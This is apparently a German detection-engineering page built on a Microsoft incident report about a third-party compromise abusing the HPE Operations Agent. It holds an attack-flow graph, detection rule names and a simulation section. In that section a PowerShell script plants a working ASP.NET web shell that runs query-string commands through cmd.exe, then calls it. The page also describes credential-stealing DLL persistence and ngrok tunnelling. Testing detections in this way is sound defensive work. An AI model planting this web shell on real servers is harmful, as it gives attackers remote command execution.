Untersuchung eines verdeckten Eindringens durch einen Drittanbieter-Kompromiss
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Bericht untersucht eine heimliche Eindringungsaktion, bei der Bedrohungsakteure einen IT-Dienstleister eines Drittanbieters kompromittierten und dann den legitimen HPE Operations Agent missbrauchten, um Web-Shells, DLLs zum Diebstahl von Anmeldeinformationen und Tunnel-Dienstprogramme bereitzustellen. Indem sie sich auf vertrauenswürdige Verwaltungssoftware anstatt auf auffällige Ausnutzung verließen, konnten die Angreifer einen langfristigen Zugriff aufrechterhalten und offensichtliche Anzeichen einer Kompromittierung minimieren.
Untersuchung
Microsoft Incident Response verfolgte die Aktivitäten von der anfänglichen Bereitstellung der Web-Shell auf Internet-Servern bis zur Ausführung von VBScript über den HPE Operations Agent. Die Untersuchung deckte dann die Registrierung bösartiger Netzwerkprovider-DLLs und Passwortfilter-DLLs auf Domänenkontrollern auf, gefolgt von der Wiederverwendung der gesammelten Anmeldeinformationen und dem Einsatz von ngrok-Tunneln, um die seitliche Bewegung in der Umgebung zu unterstützen.
Eindämmung
Empfohlene Verteidigungsmaßnahmen umfassen die Reduzierung und strikte Kontrolle des Zugriffs vertrauenswürdiger Drittanbieter, Überwachung auf unautorisierte DLL-Registrierungen in LSA-Benachrichtigungspaketen, Erkennung verdächtiger Änderungen von Web-Shells, Durchsetzung strikter Ausgehendfilterung und Sicherstellung der EDR-Abdeckung aller Endpunkte.
Reaktion
Wenn diese Aktivität erkannt wird, isolieren Sie die kompromittierten Systeme, entfernen Sie bösartige DLLs und Web-Shells, widerrufen Sie gestohlene Anmeldeinformationen, deaktivieren Sie unautorisierte Netzwerkprovider und suchen Sie nach lateralem Bewegungen mit den gesammelten Artefakten.
"graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Knoten u2013 Initialer Zugriff action_initial_trusted["<b>Aktion</b> – <b>T1199 Vertrauenswürdige Beziehung</b><br/>Kompromittierung des IT-Dienstleisters eines Drittanbieters und Verwendung des vertrauenswürdigen HPE Operations Agent zum Ausführen von bösartigem Code."] class action_initial_trusted action tool_hpe_oa["<b>Tool</b> – <b>Name</b>: HPE Operations Agent (OA)<br/><b>Zweck</b>: Legitimiertes Agent-Tool zur Ausführung von Skripten auf Zielservern."] class tool_hpe_oa tool %% Knoten u2013 Ausführung action_execution_vbscript["<b>Aktion</b> – Ausführung von VBScipts (T1059.005)<br/>Ausführen von <i>abc003.vbs</i> für System-, Netzwerk- und AD-Erkundung."] class action_execution_vbscript action file_abc003["<b>Datei</b> – <b>Name</b>: abc003.vbs<br/><b>Typ</b>: Visual Basic Script"] class file_abc003 file %% Knoten u2013 Persistenz (Web Shell) action_persistence_webshell["<b>Aktion</b> – <b>T1505.003 Server-Softwarekomponente: Web Shell</b><br/>Bereitstellen von <i>Errors.aspx</i> und <i>Signoff.aspx</i> Web-Shells auf Internet-Servern."] class action_persistence_webshell action file_errors["<b>Datei</b> – <b>Name</b>: Errors.aspx<br/><b>Funktion</b>: Web-Shell für die Remote-Befehlsausführung."] class file_errors file file_signoff["<b>Datei</b> – <b>Name</b>: Signoff.aspx<br/><b>Funktion</b>: Web-Shell für die Remote-Befehlsausführung."] class file_signoff file %% Knoten u2013 Persistenz (Netzwerk-Provider-DLL) action_persistence_np_dll["<b>Aktion</b> – <b>T1556.008 Netzwerk-Provider-DLL</b><br/>Registrieren einer bösartigen <i>mslogon.dll</i> auf Domänenkontrollern, um Klartext-Anmeldeinformationen abzufangen."] class action_persistence_np_dll action file_mslogon["<b>Datei</b> – <b>Name</b>: mslogon.dll<br/><b>Standort</b>: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% Knoten u2013 Persistenz (Passwortfilter-DLL) action_persistence_passdll["<b>Aktion</b> – <b>T1556.002 Passwortfilter-DLL</b><br/>Hinzufügen von <i>passms.dll</i> als LSA-Benachrichtigungspaket auf DC01/DC02, um Passwortänderungen abzufangen."] class action_persistence_passdll action file_passms["<b>Datei</b> – <b>Name</b>: passms.dll<br/><b>Standort</b>: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% Knoten u2013 Zugriff auf Anmeldeinformationen (Dateien) action_cred_in_files["<b>Aktion</b> – <b>T1552.001 Anmeldeinformationen in Dateien</b><br/>Gesammelte Anmeldeinformationen in Klartext- oder kodierten Dateien auf der Festplatte speichern."] class action_cred_in_files action %% Knoten u2013 Zugriff auf Anmeldeinformationen (OS-Dumping) action_os_credential_dump["<b>Aktion</b> – <b>T1003 OS-Credential-Dumping</b><br/>DLL-basierte Interzeption ermöglicht Credential-Dumping ohne externe Tools."] class action_os_credential_dump action %% Knoten u2013 Laterale Bewegung (Gültige Konten) action_lateral_local["<b>Aktion</b> – <b>T1078.003 Gültige Konten: Lokale Konten</b><br/>Wiederverwendung gesammelter Anmeldeinformationen zur Authentifizierung über RDP und SMB."] class action_lateral_local action %% Knoten u2013 Laterale Bewegung (Remote Services) action_lateral_remote["<b>Aktion</b> – <b>T1021 Remotedienste</b><br/>Einrichtung von RDP-Sitzungen über verschlüsselte ngrok-Tunnel für seitliche Bewegungen."] class action_lateral_remote action %% Knoten u2013 Kommando & Kontrolle (Proxy) action_c2_proxy["<b>Aktion</b> – <b>T1090 Proxy</b><br/>Einsatz von ngrok als Mehr-Hop-Proxy zur Erstellung verdeckter C2-Kanäle."] class action_c2_proxy action tool_ngrok["<b>Tool</b> – <b>Name</b>: ngrok<br/><b>Zweck</b>: Erstellung von TCP/HTTPS-Tunneln für den Verkehrstunneling."] class tool_ngrok tool %% Knoten u2013 Kommando & Kontrolle (Protokoll-Tunneling) action_c2_tunnel["<b>Aktion</b> – <b>T1572 Protokoll-Tunneling</b><br/>Kapselung von C2-Verkehr innerhalb von ngrok-Tunneln zur Umgehung der Erkennung."] class action_c2_tunnel action %% Knoten u2013 Sammlung (Netzwerkfreigabe) action_collection_share["<b>Aktion</b> – <b>T1039 Daten von Netzwerkfreigabe</b><br/>Staging kodierter Anmeldeinformationen auf entfernten SMB-Freigaben vor der Exfiltration."] class action_collection_share action %% Knoten u2013 Vermeidung der Verteidigung (DLL-Hijack) action_defense_dll["<b>Aktion</b> – <b>T1574.001 Hijack Execution Flow: DLL</b><br/><i>msupdate.dll</i> exfiltriert Daten über SMTP und SMB, getarnt als Bilddateien."] class action_defense_dll action file_msupdate["<b>Datei</b> – <b>Name</b>: msupdate.dll<br/><b>Payload</b>: Kodierte Daten gesendet als icon02.jpeg."] class file_msupdate file %% Knoten u2013 Persistenz (Winlogon Helper DLL) action_persistence_winlogon["<b>Aktion</b> – <b>T1547.004 Winlogon Helper DLL</b><br/>Registrieren von <i>mslogon.dll</i> als Winlogon-Helfer, um die Ausführung beim Anmelden sicherzustellen."] class action_persistence_winlogon action %% Verbindungen u2013 Angriffsdurchfluss action_initial_trusted –>|verwendet| tool_hpe_oa tool_hpe_oa –>|führt aus| action_execution_vbscript action_execution_vbscript –>|führt aus| file_abc003 action_execution_vbscript –>|führt zu| action_persistence_webshell action_persistence_webshell –>|erzeugt| file_errors action_persistence_webshell –>|erzeugt| file_signoff action_persistence_webshell –>|ermöglicht| action_persistence_np_dll action_persistence_np_dll –>|installiert| file_mslogon action_persistence_np_dll –>|ermöglicht| action_persistence_passdll action_persistence_passdll –>|installiert| file_passms action_persistence_passdll –>|speichert| action_cred_in_files action_cred_in_files –>|liefert Daten für| action_os_credential_dump action_os_credential_dump –>|ermöglicht| action_lateral_local action_lateral_local –>|verwendet| action_lateral_remote action_lateral_remote –>|nutzt| tool_ngrok tool_ngrok –>|ermöglicht| action_c2_proxy action_c2_proxy –>|ermöglicht| action_c2_tunnel action_c2_tunnel –>|unterstützt| action_collection_share action_collection_share –>|liefert Dateien für| action_defense_dll action_defense_dll –>|verwendet| file_msupdate action_defense_dll –>|unterstützt| action_persistence_winlogon action_persistence_winlogon –>|basiert auf| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "
Angriffsdurchfluss
Erkennungen
LOLBAS WScript / CScript (via Prozess-Erstellung)
Ansehen
Mögliche PowerShell-Obfuskationsindikatoren (via PowerShell)
Ansehen
Mögliche Registry-Änderungen bei Credential Dumping (via Registry Event)
Ansehen
Mögliche Active Directory-Aufzählung mit AD-Modul DirectorySearcher (via PowerShell)
Ansehen
Erkennung von Web-Shells Errors.aspx und modifiziertem Signoff.aspx [Webserver]
Ansehen
Erkennung bösartiger LSA-Benachrichtigungspakete zur Anmeldeinformationsabfang [Windows Registry Event]
Ansehen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (T1199), die zur Auslösung der Erkennungsregel konzipiert ist. Die Befehle und die Erzählung müssen die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
- Erstkompromittierung: Der Angreifer erlangt Schreibzugriff auf das Web-Root (z.B. über gestohlene Anmeldeinformationen oder einen verwundbaren Upload-Endpunkt).
- Web-Shell-Bereitstellung: Sie laden eine bösartige ASP.NET-Web-Shell mit dem Namen Errors.aspx (oder ändern eine vorhandene Signoff.aspx), die beliebige PowerShell-Befehle ausführt, die über die Abfragezeichenfolge geliefert werden.
- Auslösen der Shell: Der Angreifer sendet eine HTTP-GET-Anfrage an die Shell mit einem PowerShell-Payload im
cmdParameter, z.B.https://corp.example.com/Errors.aspx?cmd=whoami. Diese Anfrage wird von IIS protokolliert und erzeugt einencs-uri-stemWert von/Errors.aspx– exakt das, was die Sigma-Regel erfasst.
-
Regressionstest-Skript: Das Skript reproduziert die Schritte 2–3 (der Upload wird simuliert, indem eine vorgefertigte Datei in das Web-Root kopiert wird; das Auslösen erfolgt über
Invoke-WebRequest).# ------------------------------------------------- # Web-Shell-Simulationsskript – Windows Server/IIS # ------------------------------------------------- param ( [string]$WebRoot = "C:inetpubwwwroot", [string]$ShellName = "Errors.aspx", [string]$Payload = "whoami" ) # 1. Bereitstellung einer einfachen ASP.NET-Web-Shell (minimal zum Testen) $shellContent = @" <%@ Page Language="C#" %> <% string cmd = Request.QueryString["cmd"]; if (!String.IsNullOrEmpty(cmd)) { System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd); } %> "@ $shellPath = Join-Path $WebRoot $ShellName Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force Write-Host "[+] Web-Shell in $shellPath bereitgestellt" # 2. Geben Sie dem Webserver einen Moment, um die neue Datei zu registrieren Start-Sleep -Seconds 2 # 3. Aufruf der Web-Shell zur Erzeugung des Erkennungs-auslösenden Log-Eintrags $uri = "http://localhost/$ShellName?cmd=$Payload" Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null Write-Host "[+] Web-Shell über $uri ausgelöst" # ------------------------------------------------- -
Bereinigungskommandos: Entfernen Sie die Test-Web-Shell und alle verbleibenden Dateien.
# Bereinigungsskript – entferne die simulierte Web-Shell param ( [string]$WebRoot = "C:inetpubwwwroot", [string]$ShellName = "Errors.aspx" ) $shellPath = Join-Path $WebRoot $ShellName if (Test-Path $shellPath) { Remove-Item -Path $shellPath -Force Write-Host "[+] $shellPath entfernt" } else { Write-Host "[-] Shell-Datei nicht gefunden; nichts zu bereinigen." }